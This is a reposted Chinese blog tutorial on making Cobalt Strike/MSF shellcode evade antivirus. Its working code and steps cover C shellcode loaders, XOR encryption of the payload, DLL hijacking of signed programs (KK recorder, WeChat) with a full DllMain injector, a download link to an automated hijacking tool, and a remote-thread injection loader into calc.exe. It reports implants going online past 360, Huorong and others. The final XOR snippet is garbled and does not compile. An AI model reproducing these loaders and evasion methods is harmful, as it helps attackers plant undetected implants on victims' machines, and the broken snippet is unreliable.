最近在研究shellcode的免杀技术,因本人以前主要是搞逆向的,shellcode免杀方面还是个小白,所以就想着去看一看我老师任晓珲写的《黑客免杀攻防》想从中寻找一些思路,但是也没有找到比较好实际运用的例子来进行实践。后来看了看卿先生的博客和拿破轮胎写的文章实践了一下里面的几种思路,感觉还挺有意思,特记录实践过程与大家分享一下,有写错的地方还请各位大佬斧正,当然啦,好的免杀方法一旦公布也就很快就不免杀了,网上搜索能得到的免杀方法也几乎都是炒冷饭,但是冷饭就没有营养可以汲取吗?所以说我们可以借鉴别人分享思路,发散思维打造自己的免杀方法。
一、直接生成可执行文件
目前网上有很多的自动生成免杀shellcode的工具,但是要知道杀毒软件检测某个免杀工具也是非常容易的,因为这些流行工具的指纹很容易被杀软公司搜集到然后加入特征库,这样就使得通过这个工具制作的shellcode免杀基本上就失灵了,工具就变得很容易过时,所以我们需要来自己制作免杀。
我们使用CS生成C语言形式的shellcode
用VS编写程序加载shellcode加载器直接生成木马程序可执行文件。
关于shellcode的加载器编写方式大家可以参考这篇文章:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
生成可执行文件后使用360静态查杀结果如下,这样直接生成可执行文件的形式有时候也可以躲避一些杀软的查杀。
点击我们直接生成的可执行文件,CS成功上线360未拦截(其余杀软请自行测试)。
二、加密shellcode后生成可执行文件
但是这种直接生成可执行文件的免杀效果有时候还是不太够,我们可以把shellcode进行加密存储,然后在执行的时候再解密出来执行,免杀效果会好一些。首先,我们要挑选一种加密方式来加密我们的shellcode,因为加密的方式有很多种,我们可以对全部shellcode使用同一种加密,也可以对shellcode进行分段使用不同的加密手段加密再分段解密,当然也可以进行多次加密等。
以最简单的异或加密为例:我们拿到shellcode以后可以将shellcode以16进制文本的形式粘贴进010Editor,然后使用其自带的异或运算来异或加密shellcode。
我们将异或加密过的shellcode(我异或的0×97),粘贴进我们编写的代码中,然后在执行之前进行循环异或回来,因为异或过X的内容,再异或一下X就会还原回以前的内容。
使用360进行静态查杀无毒,点击后CS可上线360未拦截。当然这只是很简单的一种加密方式,现在加密算法有很多,加密的方式也有很多,比如说base64加密,RCfour加密,或者说是自己写的加密方式等等,没有哪一种加密方式是最好的。只要是能够隐藏我们shellcode原本内容的都可以进行尝试。
三、dll劫持白加黑方式免杀
上面的方法可以过一些杀毒,但是例如火绒有时候就可以在恶意软件一启动就拦截,但是如果你的恶意软件添加了数字签名,并且已经列入白名单,杀毒软件是不会拦截的。因为买数字签名太贵,但是如果我们利用dll劫持,把有数字签名的文件劫持了,利用白加黑文件的形式就可以轻松的利用别人已经签名了的程序运行我们的木马。
3.1流程图
3.2具体操作
我们使用VS新建一个执行shellcode的dll,这里我使用的是弹计算器的shellcode且没有进行加解密操作,大家可以自行替换为自己的shllcode,或者再进行shellcode加解密操作都可以。
我们需要注意三点:
1.执行shellcode的命令必须放在dll的主函数“DllMain”中
2.我们需要新建一个线程运行shellcode
3.必须要有一个导出函数,函数里面的内容随意编写,没有影响,只是作为一个引子而已。
dllmain中代码如下:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
DWORD WINAPI ceshi(LPVOID pParameter)
{
__asm
{
mov eax, offset shellcode
jmp eax
}
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码
My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
extern"C" _declspec(dllexport) void test()
{
int a;
a = 0;
}
我们编译生成dll以后,使用lordPE 查看一下输出表中是否有test函数,如果有则说明我们编写的dll没毛病(关于PE文件各种表的功能大家自行百度搜索)。
接下来我们就要选择我们要劫持的dll了,例如我们要劫持KK录像机的libfontconfig-1.dll(尽量选择和主程序在同一目录的dll)。
下一步我们要用到一个工具叫Stud_PE,大家可以自行下载,然后我们把libfontconfig-1.dll拖入,依次点击函数栏-》右键添加新的输入表-》dll选择-》选择函数-》选中我们导出的函数-》点击加入即可。
然后我们把我们用VS生成的dll放到和我们刚才修改过的dll同目录下,运行KK录像机就可以了。
成功弹出计算器。PS(这里要提一句,白文件dll的选择一定要选择程序加载的dll,可以使用Procmon.exe来监控程序运行的时候都加载哪些dll)
查杀效果如下图所示。
四、利用工具自动劫持
可能没有编程基础或者二进制知识的小伙伴们有点难懂前面的几篇文章,不过没有关系,现在已经有大佬搞出了自动化劫持的工具了,该工具不仅能劫持dll,还支持劫持exe。先介绍一下工具:
此注入工具是添加输入表进行IAT注入:
1:输入cs或者msf生成shellcode生成免杀dll文件
2:添加需要劫持的软件或者dll
3:劫持过后会在运行目录生成一个Dll和inf配置文件
4:需要把两个文件放在被劫持的软件同目录下才可运行
生成的DLL经过免杀处理,目前只能注入未加壳软件和dll,如果加壳可生成dll过后自行利用lordpe进行添加输入表。
PS:此工具使用易语言编写可能会有杀软报毒(杀软对易语言程序不太友好),可考虑在虚拟机里面使用。
4.1劫持微信演示
下面我使用微信来给大家做一下演示:
我们打开工具后在下图所示地方输入自己的shellcode
随后我们点击生成dll
会在工具所在目录下面生成如下图2个文件。
然后我们点击劫持文件,在点击浏览选择刚才我们生成的dll,然后点击选择文件选择微信的程序,点击注入到导入表即可。
程序会主动备份被劫持的程序,后缀为.exe~,如果想还原只需要去掉~即可。然后我们还需要将生成的那两个文件复制到被劫持程序的同目录内。
然后我们点击被劫持的微信即可运行shellcode。
工具下载网盘:链接:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
提取码:c29j
五、利用远程线程注入shellcode混淆免杀
远程线程注入是指一个进程在另一个进程中创建线程的技术,我们使用远程线程注入技术可实现shllcode的混淆免杀效果。
5.1详细操作
使用VS建立C语言控制台项目
在项目上右键属性-》将MFC的使用选为在静态库中使用MFC(这样可以保证在别人机器上也可以运行,不会受到缺少依赖库的限制),缺点是生成的文件较大。
然后将以下代码中的shellcode数组替换为自己CS生成的或MSF生成的上线shellcode。
#include "stdafx.h"
#include <Windows.h>
#include<stdio.h>
#include "iostream"
//隐藏运行程序时的cmd窗口
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )
using namespace std;
//使用CS或msf生成的C语言格式的上线shellcode
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2...........";
BOOL injection()
{
wchar_t Cappname[MAX_PATH] = { 0 };
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID lpMalwareBaseAddr;
LPVOID lpnewVictimBaseAddr;
HANDLE hThread;
DWORD dwExitCode;
BOOL bRet = FALSE;
//把基地址设置为自己shellcode数组的起始地址
lpMalwareBaseAddr = shellcode;
//获取系统路径,拼接字符串找到calc.exe的路径
GetSystemDirectory(Cappname, MAX_PATH);
_tcscat(Cappname, L"\\calc.exe");
//打印注入提示
// printf("被注入的程序名:%S\r\n", Cappname);
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
//创建calc.exe进程
if (CreateProcess(Cappname, NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED//CREATE_SUSPENDED新进程的主线程会以暂停的状态被创建,直到调用ResumeThread函数被调用时才运行。
, NULL, NULL, &si, &pi) == 0)
{
return bRet;
}
//在
lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpnewVictimBaseAddr == NULL)
{
return bRet;
}
//远程线程注入过程
WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);
hThread = CreateRemoteThread(pi.hProcess, 0, 0,
(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);
WaitForSingleObject(pi.hThread, INFINITE);
GetExitCodeProcess(pi.hProcess, &dwExitCode);
TerminateProcess(pi.hProcess, 0);
return bRet;
}
void help(char* proc)
{
// printf("%s:创建进程并将shellcode写入进程内存\r\n", proc);
}
int main(int argc, char* argv[])
{
help(argv[0]);
injection();
}
编译生成运行以后会发现程序会自动在后台启动一个系统的calc.exe进程,调试结果如下图所示。
同时CS端上线。
我的电脑上面同时开着WD、火绒、360、腾讯等杀毒软件,只有火绒提示已阻止,但是观察CS端并未掉线。静态查杀也都没有报毒。
下为运行时动态查杀图:
此方法还可配合其他方式,比如前面提到的shellcode加密解密免杀等。
六、加密shellcode生成可执行文件
#include "stdafx.h"
#include <windows.h>
#define KEY 0x97 //进行异或的字符
length: 798 bytes */
unsigned char buf[] =
这里输入你自己加密过后的shellcode
int main(int argc, char* argv[])
{
unsigned char c[sizeof(buf)]; //获取shellcode长度
for (int i = 0; i < sizeof(buf)-1; i++)
{
buf[i] ^ KEY;//进行解密 =
}
(void(*)(void))&c)(); 执行shellcode
return 0;
}
这个方法目前可以过掉大部分杀毒
六、参考资料
《那些shellcode免杀总结》:
https://www.cnblogs.com/-qing-/p/12234148.html#_lab2_1_1
本文分享自微信公众号 - 洛米唯熊(luomiweixiong)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/4581868/blog/4380657